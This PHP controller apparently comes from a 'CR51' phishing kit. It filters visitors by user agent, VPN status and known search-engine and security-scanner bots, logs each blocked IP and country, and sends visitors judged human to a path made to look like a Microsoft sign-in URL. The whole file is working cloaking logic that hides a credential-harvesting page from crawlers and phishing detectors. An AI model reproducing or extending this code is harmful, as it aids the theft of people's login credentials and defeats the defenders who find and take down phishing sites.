<?php
defined("ALLOW") or exit('No direct script access allowed');

class Home
{
	public function __construct()
	{
		$this->goCR51 = new goCR51();
		$getInfo = _geoGet($this->goCR51->ip_address);

		foreach ($getInfo as $k => $v) {
			$_SESSION[$k] = $v;
		}
	}

	public function index()
	{

		if (preg_match("/bot|crawler|spider|aws|curl|slurp|phish|search|libwww-perl|python|archiver|transcoder|spider|uptime|validator|fetcher|cron|check|reader|extractor|monitoring|analyz/", $_SERVER['HTTP_USER_AGENT'])) {
			write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|Blocked by CR51 NETWORK\r\n");
			write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Blocked by CR51 NETWORK\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (_config('VPNDETECT') == 'on') {
			if (CR51NETWORK($this->goCR51->ip_address)) {
				write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|VPN Blocked by CR51 NETWORK\r\n");
				write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|VPN Blocked by CR51 NETWORK\r\n");
				_blocks();
				redirect(uriRand());
			} else if (blackbox($this->goCR51->ip_address)) {
				write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|VPN Blocked by Blackbox\r\n");
				write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|VPN Blocked by Blackbox\r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		if ($this->goCR51->is_robot) {
			write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|Blocked by CR51 NETWORK\r\n");
			write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Blocked by CR51 NETWORK\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (!isset($_GET[_config('PARAMETER')])) {
			write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|Access Page Without Parameter\r\n");
			write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Access Page Without Parameter\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (_config('CR51TOKEN') == 'on') {
			if (!empty(CR51INI('TOKEN'))) {
				if (CR51BLOCKER($this->goCR51->ip_address, 'googlebot')) {
					write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|GoogleBots Blocked by CR51 PREMIUM\r\n");
					write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|GoogleBots Blocked by CR51 PREMIUM\r\n");
					_blocks();
					redirect(uriRand());
				} else if (CR51BLOCKER($this->goCR51->ip_address, 'bingbot')) {
					write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|BingBots Blocked by CR51 PREMIUM\r\n");
					write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|BingBots Blocked by CR51 PREMIUM\r\n");
					_blocks();
					redirect(uriRand());
				} else if (CR51BLOCKER($this->goCR51->ip_address, 'applebot')) {
					write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|AppleBots Blocked by CR51 PREMIUM\r\n");
					write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|AppleBots Blocked by CR51 PREMIUM\r\n");
					_blocks();
					redirect(uriRand());
				} else if (CR51BLOCKER($this->goCR51->ip_address, 'yahooslurp')) {
					write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|YahooBots Blocked by CR51 PREMIUM\r\n");
					write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|YahooBots Blocked by CR51 PREMIUM\r\n");
					_blocks();
					redirect(uriRand());
				} else if (CR51BLOCKER($this->goCR51->ip_address, 'yandexbot')) {
					write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|YandexBots Blocked by CR51 PREMIUM\r\n");
					write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|YandexBots Blocked by CR51 PREMIUM\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}

		if (_config('ANTIBOT') == 'on') {
			if (!empty(_antibot('KEY'))) {
				if (antibot($this->goCR51->ip_address, $this->goCR51->agent)) {
					write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|Blocked by Antibot\r\n");
					write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Blocked by Antibot\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}

		if (_config('KILLBOT') == 'on') {
			if (!empty(_killbot('KEY'))) {
				if (killbot($this->goCR51->ip_address, $this->goCR51->agent)) {
					write(FCPATH . 'CR51/Static/log_robot.txt', 'a', "{$this->goCR51->ip_address}|Blocked by Killbot\r\n");
					write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Blocked by Killbot\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}

		$_SESSION['access'] = 1;
		write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Human\r\n");
		redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
	}
}
